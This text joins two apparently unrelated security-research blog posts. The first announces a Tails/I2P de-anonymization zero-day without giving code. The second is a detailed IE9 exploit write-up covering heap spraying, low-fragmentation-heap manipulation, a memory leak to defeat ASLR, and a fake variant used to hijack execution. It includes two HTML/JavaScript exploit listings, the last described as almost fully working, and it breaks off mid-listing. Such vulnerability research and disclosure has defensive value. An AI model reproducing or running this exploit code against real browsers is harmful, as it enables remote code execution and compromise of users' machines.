Silver Bullets and Fairy Tails

Introduction

This week we made mention on Twitter of a zero-day vulnerability we’ve unearthed that affects the popular Tails operating system. As the Tails website states:

Tails is a live operating system, that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity, and helps you to:
use the Internet anonymously and circumvent censorship;
all connections to the Internet are forced to go through the Tor network;
leave no trace on the computer you are using unless you ask it explicitly;
use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.”

This software was largely popularized due to the fact that it was used by whistleblower Edward Snowden. Since then, the OS has garnered much attention and use by a wide range of those seeking anonymity on the Internet.

We publicized the fact that we’ve discovered these issues for a very simple reason: no user should put full trust into any particular security solution. By bringing to light the fact that we have found verifiable flaws in such a widely trusted piece of code, we hope to remind the Tails userbase that no software is infallible. Even when the issues we’ve found are fixed by the Tails team, the community should keep in mind that there are most certainly other flaws still present and likely known to others.

Our customers use our information for both offensive and defensive purposes to better protect themselves and others. Providing a wide variety of exploit software we help penetration testers effectively test network security and incident response teams. One high profile example occurred last year when Facebook used a zero-day vulnerability to test their teams response to a zero-day attack. The information we provide is also leveraged in defensive purposes providing companies with well documented research for use in IDS and AV signatures for previously unknown threats. We at Exodus are able to do what many software projects cannot, perform security code audits and find exploitable vulnerabilities releasing them to the public.

The Vulnerable Component

The vulnerability we will be disclosing is specific to I2P. I2P currently boasts about 30,000 active peers. Since I2P has been bundled with Tails since version 0.7, Tails is by far the most widely adopted I2P usage. The I2P vulnerability works on default, fully patched installation of Tails. No settings or configurations need to be changed for the exploit to work. I2P is preconfigured so that all .i2p TLD sites are routed through the I2P network. At a high level I2P traffic is message based similar to IP packets. All communication is encrypted end to end with a total of four layers of encryption. I2P routers (end points) act as cryptographic identifiers, similar to a pair of public keys. I2P is a packet switched network, instead of circuit switched like Tor. This means transparent load balancing of packets across multiple peers. I2P is fully distributed with no centralized resources. There is no distinct separation of servers to nodes, this architecture helps eliminate single points of failure.

Demonstration

To lend credence to our claims we have created a video that demonstrates de-anonymizing a Tails user:

Timeline

0:00:00,000 –> 0:00:10,400: Demonstrating IP on listening server, Turning on listening server
0:00:19,000 –> 0:00:25,400: Tails user visiting website icanhazip.com which shows the anonymized IP address
0:00:36,000 –> 0:00:49,400: Showing that we’re indeed using the latest Tails build 1.1
0:00:50,000 –> 0:01:03,400: I2P address being resolved, proof of concept malicious payload being delivered
0:01:30,000 –> 0:01:40,400: Listening server retrieves the Tails user’s de-anonymized IP address (Austin RoadRunner ISP)

Note on Disclosure

Disclosure of vulnerabilities takes many forms, particularly their shape is adapted to the landscape that the platform is used upon. In the past at Exodus Intelligence, we’ve felt that significant vulnerabilities have been disregarded and have not had the requisite exposure. Through appropriate airing of the issue, we feel that users of such security platforms may come to understand the risks in base-level trust. Even further we hope to break the mold of unconditional trust in a platform. Users should question the tools they use, they should go even further to understand the underlying mechanisms that interlock to grant them security. It’s not enough to have faith upon security, rather to have an understanding of it. If the public thinks Exodus is one of a few entities finding bugs in software, they are grossly misinformed. As is the case with all vulnerabilities we report to vendors, we do not ask for any remuneration. All flaws that we give to vendors are given free of charge. All accusations of extortion perpetuated by those unfamiliar with our business model are completely unfounded. As of publication of this blog post the Tails team and the I2P team have both received all the relevant details and exploit code they require to remediate the vulnerabilities we’ve discovered.

Recently a high profile talk on de-anonymization Tor users was pulled from Blackhat due to legal issues. Their talk outlined with a budget of $3000 with some powerful servers and multiple gigabit links they were able to de-anonymize hundreds of thousands of users in ‘a couple of months’. Exodus decided to pick up where this talk left off by letting the community know that there are many other vectors for de-anonymization. The vulnerability we have found is able to perform remote code execution with a specially crafted payload. This payload can be customized to unmask a user and show the public IP address in which the user connected from within ‘a couple of seconds’.

Stay Tuned

Part two of this blog post will present a technical discussion of the vulnerability. This will be posted once we have confirmed the vulnerabilities in I2P are patched and have been incorporated into Tails.

A browser is only as strong as its weakest byte – Part 2

As promised, the follow up from our previous post.

Before Thanksgiving we left off with IE9 coughing up bytes. We’ll poke it some more today and make it do a little dance for us.
Last week we managed to trick IE9 into doing an INC[ADDRESS] for us where we could specify the address. Now it is time to see how much damage we can do with just that. Since we’ll operate under the assumption that everything in the process is ASLR’d the first thing to do to is come up with a way to predict a fixed address we can safely increment. The easiest way to do that will be using an aligned heapspray. In case you’re not familiar with heapspraying, especially heap spraying in Internet Explorer, below is a quick breakdown of the basics of a heapspray.

Throughout this post I will add background information where needed, those sections will be in a grey block so you can skip then if you already know enough about the topic.

Heap Spray

The idea of heapspraying is nothing more than spraying the heap to be able predict the address of memory with known contents… no surprises there. The plan is to allocate a lot of memory in the process so we can safely write/inc a piece of memory that otherwise might not be occupied. However, since we only have a single shot we need to make sure that we can actually manipulate something useful. To do this we need to look a little closer at the way Internet Explorer and Windows 7 manage allocation. It is pretty easy to fill up your process memory with data, but we need to be able to get some reliability into it. And it turns out we can actually do that. Let me show you a sample log file of some allocation of different sizes.

------------- Creating allocations of different sizes
alloc(0x1000) = 0x00e99290
alloc(0x1000) = 0x00e9a298
alloc(0x1000) = 0x00e9b2a0
alloc(0x8000) = 0x00e9c2a8
alloc(0x8000) = 0x00ea42b0
alloc(0x8000) = 0x00eac2b8
alloc(0x10000) = 0x00eb42c0
alloc(0x10000) = 0x068b1fe8
alloc(0x10000) = 0x068c1ff0
alloc(0x80000) = 0x028d0020
alloc(0x80000) = 0x031e0020
alloc(0x80000) = 0x04c10020
------------- All done

You might see a pattern emerging. The first 3 sizes all seem to be at a random addresses, but the last 3 allocations of size 0×80000 all end at 0020. As it turns out, if you make an allocation of (almost) 0×80000 the underlying memory manager will align this to start at a new page. The 0020 is the size of the heap header. If you are testing this with a debugger make sure you disable the debugheap ( -hd flag for windbg commandline) otherwise the header will be 0×30 in size.
If we take the heap header size into account we can actually do the following:

alloc(0x7ffe0) = 0x02cf0020 
alloc(0x7ffe0) = 0x04cf0020 
alloc(0x7ffe0) = 0x05230020 
alloc(0x7ffe0) = 0x06ed0020 
alloc(0x7ffe0) = 0x07050020 
alloc(0x7ffe0) = 0x070d0020 
alloc(0x7ffe0) = 0x07150020 
alloc(0x7ffe0) = 0x071d0020 

A quick calculation shows that the last 3 allocations are following neatly upon each other creating a uninterrupted stream of bytes under our control.
Since every allocation starts at 0xXXXX0020 even if we do not know the exact starting address of an allocation we can still fill it with a pattern that repeats itself every 0×10000 byte and be confident that at 0xXXXX0020 there is the beginning of our pattern. All we need to do is spray a bunch of allocation and then pick an address that is most likely to be filled with our data, we need to aim a little high to make sure the address is not already used by other IE related data, but not too high so we need too spray too much. I usually use 0×12010020 but you can pick your own.

Alright, back to the matter at hand, we’re going to spray the living daylight out of our process to obtain a safe address to INCrement. The question is: what are we going to spray? If we spray a big string of ‘A’s all we will manage to do is turn one of our ‘A’s into an ‘B’. Not very useful. We need to be able to make a 0×80000 allocation riddled with useful data: pointers, flags, sizes or anything other than just strings data. It has to be a single allocation of 0×80000 or more for it to be properly aligned.

I’m pretty sure there are other options but I ended up using element attributes. If you’re unfamiliar with the way Element Attributes are stored I suggest reading the following section, otherwise skip right ahead.

Element Attributes

We’ll be using element attributes to spray the heap with. Attributes are neat since they contain a lot of interesting data to play with. I’m not the first one to so, Nicolas Joly from Vupen wrote a nice exploit a while ago abusing the way element attributes are stored internally to bypass ASLR and DEP. Let me explain a little bit how the attributes for an element are being stored internally, you can either read it here or on Vupens blog, the information is the same.
When an element has attributes it contains an pointer to a 0×10 sized allocation that contains the number of attributes the element has and a pointer to the actual attribute array.

Every attribute in the table uses 0×10 bytes of memory.
The first DWord contains a set of flags that among other describe the Variant Type of the following data, it also determines if the 2nd dword is a hash value or a pointer to a structure.
The 2nd DWord is either a hashvalue of the name, or a pointer to a structure that contains additional information
The 3rd and 4th DWord are the value of the attribute either directly (In case of, for example Integer values) or a pointer to the value (for example for strings and objects)

The size of the array will grow when more room is needed for additional attributes. It starts off with enough room for 4 attributes, 0×40 bytes in size. Everytime it runs out of space it will add enough room to hold an additional 50% more aatribute, rounded down if needed. So it will grow from 0×40 to 0×60, 0×90, 0xD0 and so on. However as Nicolas Joly from Vupen figured out, if you clone an element containing X attributes the new element will have an attribute array that is precisely big enough to hold X attributes. This can be used to create allocations that are 0x7ffe0 in size, by cloning an element that contains 0x7ffe attributes.

Vupen already showed that the VariantType of an attribute is a prime candidate to have some fun with. However, to my knowledge it is not possible to create all the different variant types with javascript. As such the potential changes we can make are somewhat limited. I have highlighted the variant types I was able to produce using various values for attributes. I might have missed some of course.

  • VT_EMPTY = 0×0000,
  • VT_NULL = 0×0001,
  • VT_I2 = 0×0002,
  • VT_I4 = 0×0003,
  • VT_R4 = 0×0004,
  • VT_R8 = 0×0005,
  • VT_CY = 0×0006,
  • VT_DATE = 0×0007,
  • VT_BSTR = 0×0008,
  • VT_DISPATCH = 0×0009,
  • VT_ERROR = 0x000A,
  • VT_BOOL = 0x000B,
  • VT_VARIANT = 0x000C,
  • VT_UNKNOWN = 0x000D,
  • VT_DECIMAL = 0x000E,
  • VT_I1 = 0×0010,
  • VT_UI1 = 0×0011,
  • VT_UI2 = 0×0012,
  • VT_UI4 = 0×0013,
  • VT_I8 = 0×0014,
  • VT_UI8 = 0×0015,
  • VT_INT = 0×0016,
  • VT_UINT = 0×0017,
  • VT_VOID = 0×0018,
  • VT_HRESULT = 0×0019,
  • VT_PTR = 0x001A,
  • VT_SAFEARRAY = 0x001B,
  • VT_CARRAY = 0x001C,
  • VT_USERDEFINED = 0x001D,
  • VT_LPSTR = 0x001E,
  • VT_LPWSTR = 0x001F,
  • VT_RECORD = 0×0024,
  • VT_INT_PTR = 0×0025,
  • VT_UINT_PTR = 0×0026,
  • VT_ARRAY = 0×2000,
  • VT_BYREF = 0×4000

If you look at this list there isn’t a very likely candidate that will give you memory disclosure when you increase the VariantType by one. That statement isnt completely true, but we’ll revisit that later. But you need to keep in mind that the value for the original Variant Type should lead to something useful for VariantType + 1 without changing the value.

We will spray the heap with a bunch of AttributeArrays containing 0x7FFE elements, every 0x1000th element we will set and the rest we leave ‘null’ which makes it a lot faster to clone them. By setting every 0x1000th attribute we create our repeating pattern and should be able to reliably change attribute data.

The next question is: what are we going to change? I thought about this for a while and tried a few different things and I wont list all the potential tests and reasons why they failed but go straight to something that did work.

As I said, I looked at a few options and decided to change string pointer. We can get a BString pointer in the attribute table by issuing the following line of javascript

elmement.setAttribute('test', 'aaaaaaaaaa');

A BString, variant type 0×08 is a string type that is used in a lot of places that use strings in Internet Explorer. The internal representation of the string is a 4 byte string length, followed by the actual (wide character) string data and a (wide char) null termination. A pointer to a BString points to the start of the data, not the size field. I tried to make this visual in the image below.

7-BStringAttribute

If we increase the Value Pointer inside the Attribute array we can move the pointer to the String Data by 1, which is not very useful. Doing that gives you 2 options

  1. If the first byte of your string data is 0×00 you decrease the string length, making it smaller than before
  2. If the first byte of your string data is not 0×00 you end up with a string length between 0×01000000 and 0xFFFFFFFF (theoretically). This however is too big and you wont be able to read back the string into javascript. Also, you’d need a huge piece of contiguous memory behind the string so you don’t crash when reading it back

But, we are not limited by increasing the Value pointer by just 1 byte. If we ignore the normal 4 byte alignment of our data, we can actually increase the value by 0×100, 0×10000 or 0×1000000. The last two options do might be harder to work with, but increasing the pointer to our BString Attribute value by 0×100 looks interesting. Lets see what we can do with that. We do not know what the actual address of our BString will be, but, on Windows7, we can wrestle the heap into a very predictable state by using the way the Low Fragmentation Heap allocates memory. Time for a little bit more background information on the Low Fragmentation Heap (LFH from now on)

Low Fragmentation Heap

First of all, I highly recommend reading Understanding the Low Fragmentation Heap by Chris Valasek who goes into the nitty-gritty details of the LFH on Windows 7.
The main thing you need to know about that LFH is that it is very predictable in the way it allocates memory. At least it is on Windows 7, Windows 8 is another story thanks to mr Matt Miller who introduced randomness into the allocation routines (Thanks :( ). Anyways, back to windows 7 and the predictability. First of all the LFH will handle incoming allocation requests based on its size. Allocations are grouped per 0×8 bytes, each group gets its own bucket assigned. Once the Heap allocater decides to use the LFH from a certain allocation size all allocation in that group will be server from the bucket created for that group, and a new bucket will be created once the original bucket is full.

The bucket is a contiguous piece of memory capable of holding a certain amount of user blocks. User Blocks are the final pieces of memory that your program actually works with. Those User Blocks are returned in a linear fashion in Windows 7.

The User Blocks are preceded by a 0×8 byte block header that we will abuse later in this blog. When a piece of memory is freed it will be available again for the next allocation of the same size (mod 8 byte). Since the allocation are handed out linearly it is pretty easy to manipulate the heap into putting allocations in the exact order that you want and need for exploitation. Pretty neat and useful.

By using the powers invested to us by the LFH we can manipulate the heap state to have some useful data follow our BString Attribute. We can then increase the pointer to the BString in our attribute table by 0×100 effectively moving the BString into the next allocation (if we choose the right size etc). I went with a BString size of 0x8A. The reason for that is multiple:

  1. BString size 0x8A occupies 0×90 bytes of memory (add 0×4 for Size and 0×2 for \u0000)
  2. 0×90 + 0×100 lands in the next allocation with a few bytes to spare
  3. The way attribute tables grow (see a few paragraphs back) 0×90 is a size the attribute array will reach when growing

So the plan is to move a BString pointer inside an attribute table by 0×100, this can be achieved by asking the process to do an INC[AttributeValue1 + 1] where AttributeValue1 points inside our Attribute heapspray and contains a pointer to a BString contained in a memory block of size 0×90. Due to the predictable allocation base of a huge attribute table we can predict at what address in memory a pointer the the BString will be available. We dont know which pointer it is, or what the value is, but that doesnt matter.
The memory right after the BString will contain an attribute table containing 0×9 Attributes and thus also occupying 0×90 bytes (which is why they fit next to each other).

If do a calculation based on this setup we’ll see the following result. Assuming, for sake of easy calculation, that our Bucket serving allocations of size 0×90 starts at offset 0×00000000:
0×00000000 Start of 8 byte Block Header for allocation 1 (string)
0×00000008 DWord Size of the String
0x0000000C Start of our String Data
0×00000096 Terminating 0000 for our string
0×00000098 Start of 8 byte block header for allocation 2 (attribute table)
0x000000A0 Start of Attribute Table Data
0×00000130 Start of 8 byte block header for allocation 3 (string)

The Attribute table will have the value 0x0000000C as a pointer to our BString object. We can change that to 0x0000010C. This falls right into the Attribute table data. Attributes take up 0×10 bytes of memory so 0x10C – 0xA0 (start of table) == 0x6C. So the pointer of the BString will point into the 7th Attribute. Since the size of the BString is located at BString – 4 the size will now be at offset 0×8 of the 7th attribute in the table.

This is perfect since we can have full control over that value. We also have enough room to leak some information from the attribute table.
This might sound a little confusing so I’m going to try and add an image to explain it visually. The size of the string after we ‘adjusted’ the pointer to it must be reasonable which is why it is important that we can control this and not just point it at random memory.

12-IncMemory
In this very well made image, the grey fields are memory containing Heap Header information, the Yellow block is the size for the String Data. The black arrow was suposed to point nicely to the beginning of the string data but I managed to mess that up. The red line is our ‘new’ pointer after we INCremented it and it now points in the middle of the next allocation.

Now, a nice thing about attributes is that there are ‘default’ attributes for certain objects, which is useful because it means the Attribute Table will contain a pointer to a structure in mshtml.dll for those attributes. A drawback is that those attributes always ‘float to the top’ of the attribute table when you add them so we’ll need to find an object that has at least 8 default attributes so that we can leak an address inside mshtml.dll.
A good candidate is a body element. This element has at least 9 default attributes and allows us enough flexibility to set the BString size to be reasonable, leak an address from mshtml and even some more information on heap allocations.

So the plan is:

  1. Before triggering the crash we create an element with an attribute table containing 0x7FFE elements
  2. Clone this element a few times to create 0×800000 size attribute tables that are nicely aligned in memory
  3. Loop over the cloned elements and:
    1. Set every 0x1000th element to be a string size 0x8A
    2. Create a body element and add 9 default attributes
    3. We now have the heap set up in a way that strings and attribute tables are following each other in memory
  4. Trigger the vulnerability increasing the BString pointer in the attribute heapspray by 0×100
  5. The process shouldn’t crash and we can continue with our javascript
  6. Loop over all the cloned elements and read back every 0x1000th attribute
  7. Find find the string that is not 0x8A in length (actually 0x8A/2 due to wide characters being used)
  8. The string data found contains pointers to mshtml.dll and some additional information
  9. Step one, memory leak has been accomplished!

The resulting HTML code looks like this:

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}

        // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
        d = document.createElement('area');
        d.shape = "poly"
        // Our BString pointer is located at: 0x12010020 + 0x8 
        // We want to INCrement 0x12010020 + 0x8 + 1  to add 0x100 and not 0x1
        // The code does: inc     dword ptr [esi+0A0h]   so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
        d.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
        d2 = document.createElement('area');
        d2.shape = "poly"
        d2.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

        a = document.createElement("div");
        a.clearAttributes()

        //Step 1
        for(i = 0; i < 0x7ffe; i++) {
            a.setAttribute("attr" + i, null);
        }
        mem = new Array(400);
        // Step 2
        for(i = 0; i < mem.length; i++) {
          mem[i] = a.cloneNode(1);        
        }

        bodies = new Array()
        // Step 3        
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe; i += 0x1000) {
            // Step 3.1
            mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 
            // Step 3.2
            b = document.createElement('body');
            b.title = 'a';
            b.id = 'a';
            b.text = 'a'
            b.bgColor = 1
            b.topMargin = 1
            b.bottomMargin = 1
            b.leftMargin = 1
            b.rightMargin = 4
            b.setAttribute('ropchain', bodies.length)  // This will actualy give us the index of the body element we are leaking.
            bodies.push(b);
          }
        }
        // Saving the attributes so Garbage Collection wont kill them accidentally 
        document.body.setAttribute('mem', mem)
        document.body.setAttribute('bodies', bodies)
        return true
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        // Step 4
        document.getElementsByTagName('input')[0].focus();

        // Step 6
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe ; i += 0x1000) {
            //Step 7
            if(mem[j].getAttribute("attr" + i).length != 0x45) {
              //Step 9
              LeakInfo = "Size of the attribute is = " + data.length + "\n";
              LeakInfo += "Raw data: \n"
              LeakInfo += escape(data) + "\n\n"; 
              mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
              LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "\n";
              bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
              LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
              alert(LeakInfo);
            }
          }
        }
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

This should give you the following alert box
8-Leaked
You might wonder how we end up with a string size of 50. The reason behind this is that the attribute value for ‘leftMargin’ is what is being used as the size of the string and for some reason the value ’1′ is actually saved as ’100′ (decimal). I didn’t care enough to dig into why it does that since it is sufficient for our goal.

If you read the source code you see that I also add the index of the leaked body element in the ‘bodies’ array so we know exactly which body element attribute table we managed to leak.

So step 1 of our exploit has been achieved, we have leaked an address from mshtml.dll back into our javascript that we can then use to bypass ASLR. This is not ideal since mshtml.dll changes quite frequently and we don’t want to contentiously update our ROP chain to account for those changes. It would be ideal if we could leak arbitrary memory from this point on and make our ROP chain more reliable. We also still need a way to actually take control over the flow of execution of the program since all we have done so far is leak some memory.

You might think we can just change the value of our misaligned string attribute causing it to (partially) overwrite the body attribute table it points to, and this is true, but not as straight forward as you might think. Lets just try it and see what happens. After showing the alert box containing the leaked information we add a single javascript line to change the value of the attribute:

mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") 

Running this will generate the following crash

Critical error detected c0000374
(59c.ab4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=77250b0a edx=0316c4b5 esi=006b0000 edi=0585aaf0
eip=772ae695 esp=0316c708 ebp=0316c780 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!RtlReportCriticalFailure+0x29:
772ae695 cc              int     3
1:019> k
ChildEBP RetAddr  
0316c780 772af5c9 ntdll!RtlReportCriticalFailure+0x29
0316c790 772af6a9 ntdll!RtlpReportHeapFailure+0x21
0316c7c4 772af912 ntdll!RtlpLogHeapFailure+0xa1
0316c81c 7726aba7 ntdll!RtlpAnalyzeHeapFailure+0x25b
0316c910 77213492 ntdll!RtlpFreeHeap+0xc6
0316c930 74c56e6a ntdll!RtlFreeHeap+0x142
0316c944 7500449b ole32!CRetailMalloc_Free+0x1c [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 687]
0316c968 75003ea3 OLEAUT32!APP_DATA::FreeCachedMem+0xc1
0316c984 71a7c73b OLEAUT32!SysFreeString+0x6b
0316c990 71a7be2f MSHTML!CAttrValue::Free+0x61
0316c9b4 71a7bdc3 MSHTML!CAttrArray::SetAt+0x61
0316c9c8 71a7be4b MSHTML!CAttrArray::SetAt+0x38
0316ca00 719e1c4c MSHTML!CBase::InvokeAA+0x273
0316ca90 719cedb8 MSHTML!CElement::ie9_setAttributeNSInternal+0x380
0316cac4 719ced22 MSHTML!CElement::ie9_setAttribute+0x68
0316cb10 712385fe MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0xc0
1:019> dd 0316c930 
0316c930  0316c944 74c56e6a 006b0000 00000000  
0316c940  0585aaf8 0316c968 7500449b 74d466bc  
1:019> dc 0585aaf8 
0585aaf8  00000064 00000009 00011400 71c629e0  d............).q
0585ab08  00010000 3f800000 80000301 002e46bf  .......?.....F..
0585ab18  00000c19 007310d8 3fc0c281 88000000  ......s....?....
0585ab28  0000008a 00410041 00410041 00410041  ....A.A.A.A.A.A.
0585ab38  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

So what is happening here? Well, when you set an attribute that already exists mshtml will simply delete the existing value and then set a new value (actually, it will first add the new value and then delete the old one I believe). So we and up calling ntdll!RtlFreeHeap with an address that is not an actual heap allocation, it is an allocation but not the start of an allocation and thus it fails to free the address. Is this the end of the line? No, luckily the world has people like Ben Hawkes and Chris Valasek who do all the hard work for us and reversed most of the LFH allocation and free routines. As it turns out we can us a small variation on Ben Hawkes SegmentOffset technique to trick ntdll into accepting our misaligned address as a legit address and allowing it to be freed. To understand this we need to look a little bit closer at the Block Header that precedes an userblock (allocation).

LFH Allocations (user blocks) are preceded by an 8 byte allocation containing some information on the state of the user block, its size and such. By looking at the RtlpLowFragHeapFree it looks like the first DWord is used to determine the size of a block, but it is encoded. The address of the _HEAP, the allocation itself and ntdll!RtlpLFHKey are XOR against each other to determine this value.
The 2nd DWord contains a few flags, but those fields might differ based on the state the heap block is in. Luckily the only bytes we are interested in are the last two bytes. Ben Hawkes determined that there was a special value for the last byte that, if set to 0×5, let ntdll move the heap header back by an amount determined by the second to last byte. A quick look at the code that does this in ntdll!RtlpLowFragHeapFree shows that that is indeed to case:

9-RtlLowFragHeapFree

edi is our original HeapHeader (comming from edx – 8, with edx being the address we want to free). If the value of byte [edi+7] equals 0×5 then we grab the byte at [edi+6] multiply this by the block size (8 incase of 32 bits process, done through ‘shl eax, 3′) and back up the heap header by that amount: sub edi, eax;
It will then use the ‘new’ heap header for processing the rest of the function, including any encoded data.

So the plan is: add a fake HeapHeader in front of our String, set the value of byte 8 to 0×5 and the value of byte 7 such that it will point to a correct Heap Header. If you remember our calculation from a little while back, we determined that the BString pointer in the attribute heap spray pointed at offset 0x6C into the body attribute table. The actual allocation starts at 0×68 into the allocation. The Heap Header for this block is located 0×68/8 = 0xD blocks in front of our allocation.

The only problem is that in the current situation, with the BString pointing in the middle of an Attribute Array we cannot control the values of the fake Heap Header. But that is not a big issue, we can free the Attribute Array and replace it with something that does give us enough control. All we need to do is add one more attribute to the correct body element resulting in the attribute array being too small and expanding to 0xD0 bytes, leaving our 0×90 original allocation up for grabs again.

We’ll add another area element, set the coords property to have the correct values for the fake LFH and then delete the misaligned string. At this point we have two options to continue, each of which has its own challenges. The reason we have two options is that the strings used for the attributes are allocated using OLEAUT32!SysAllocString and as Alexander Sotirov described in his Heap Fengshui paper, the OLEAUT32 has an internal caching system.

What does this mean for us? Well, as I mentioned, we have two options.

  1. Let the freed (misaligned) memory allocation be added to the cache for re-use. This will allow us to do a partial overwrite of a legit allocation
  2. Let the freed address be freed by filling the cache. This allows us to free this address multiple times since we have another pointer pointing to it (the .coords property)

Both steps require some preparation, and I will mainly focus on the first option since I think that’s the funnier of the two. What I do want to point out is that if you prefer to take route two you need to consider the following things:

  • You need to fill the OLEAUT32 cache before free-ing the attribute (see Alex’s paper), this will force it to call ntdll!RtlFreeHeap() on the misaligned address
  • RtlFreeHeap() requires you to set the first DWord of the fake heap to either 0×1, 0×2 or 0×3 to safely call a legit ‘RtlpInterceptorRoutines’ routine and actually free the address
  • Once the memory is freed you can fill it again with whatever you want
  • By using ‘FakeLFH.coords = null;’ you can Free the memory again, effectively removing the object or whatever you put there is the previous step

But, for shits and giggles, we’ll opt for the first option. The steps that we need to set before this can work are

  1. Create a Fake LFH Header with the .coords property
  2. Clean out the OLEAUT32 cache, using Sotirov’s ‘plunger’ technique
  3. Free the misaligned string. Since the cache is empty OLEAUT32 adds this address to the cache
  4. Replace the area.coords with something you want to (partially) overwrite
  5. Allocate a string of the right size which will re-use the cache (misaligned) address from the OLEAUT32 cache
  6. Win??

Quick note: even when you want OleAut32 to cache the address and wont let it go through RtlFreeHeap you still need a fake LFH Header because oleaut32 will call ntdll!RtlSizeHeap which uses the LFH Header to determine the size of the allocation.

So what object/data are we going to partially overwrite? Since we were having so much fun with attribute tables, I decided to overwrite part of an attribute table, which should give us enough control to read any address and call any function, if we play it right. Theoretically we can keep replacing the memory by repeating the steps listed above, but there is always the slight risk of messing up when you make that many allocations and frees. So what we’ll do is overwrite the attribute table with data that sets one of its attribute to be of type 0xC, this is a VariantType, and add a pointer to memory that we control. Once we have done that we no longer need to alter the original Attribute Array but we can just alter the memory the Variant points to and set this to whatever we want.

So we’re looking for a piece of memory of roughly 0×10 bytes (thats how much we need to store a Variant Variant), that we can manipulate without additional memory allocations and frees. There are many answers to this question, but the one I’ll be using is an AnchorElement (‘<A>’). Just like the area element this element has a property ‘coords’, but it only takes 4 values and stores them inside the object data. If we alter the coords value of an AnchorElement no additional allocations and or frees will happen and 4 coord values take up 0×10 bytes so that fits perfectly.

How do we know where we can find an ‘A’ element in memory you might ask? Simple, we add it to the body element attribute table that we leak. This will give us the heap address of an ‘A’ element and that is enough information to know where the coords values are in memory (offset 0×50 from the base of the ‘A’ element in the version of mshtml we are playing with). There are some limitations to using this, mainly the fact that it will ‘sort’ the coords you give it on size, but since we only really need to first and the third value and the first value (describing the VariantType) can be as low as 0x0001XXXX we can read any memory above that value.

By setting the fake variant type to be an Integer and setting the flag for ‘VariantByRef (0×40)’ we can read Integers from the address we specify in the third coord value. You can probably read while arrays of integers if you set everything right, but I didn’t care enough to figure that out. What you do need to remember is that the value returned to javascript is turned into a string, not a number so you need to call parseInt() on it before you can use it as an actual number.

We know the hashvalue of the attribute name by reading it back from the Leaked Info.

The combination of the leaked address from mshtml.dll and the possibility to read any memory address you want allows us to find the actual start of mshtml.dll. We can do this by taking the leaked mshtml.dll address and doing an AND with 0xFFFF0000 and testing for “MZ” while substracting 0×10000 until we find it. Once you have the base address of mshtml.dll we can parse the PE file structure to get to the Import Table and grab the address of Kernel32.dll, Parse Kernel32.dll to get the address of ntdll.dll and that should be enough information to create a ROP Chain.

Now if you want Execution control after disclosing enough memory to bypass ASLR, the easy way is the set your fake variant attribute to be of type VT_DISPATCH (0×09), this will cause oleaut32 to call ExtractValueProperty when you attempt to read back the attribute. This function contains a virtual call that is taken from the data within your fake attribute, eax is our fake Variant.

10-VirtualCallInOleaut32

Enough talking, time to tie it all together. The code below is a (almost) full working exploit created for mshtml version 9.0.8112.16446, kernel32 version 6.1.7601.17651 and ntdll version 6.1.7601.17725
Since you can disclose memory you can make this exploit work with other version of the modules, as long as the mshtml.dll doesnt contain the patch for this vulnerability.

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}

        // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
        d = document.createElement('area');
        d.shape = "poly"
        // Our BString pointer is located at: 0x12010020 + 0x8 
        // We want to INCrement 0x12010020 + 0x8 + 1  to add 0x100 and not 0x1
        // The code does: inc     dword ptr [esi+0A0h]   so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
        d.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
        d2 = document.createElement('area');
        d2.shape = "poly"
        d2.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

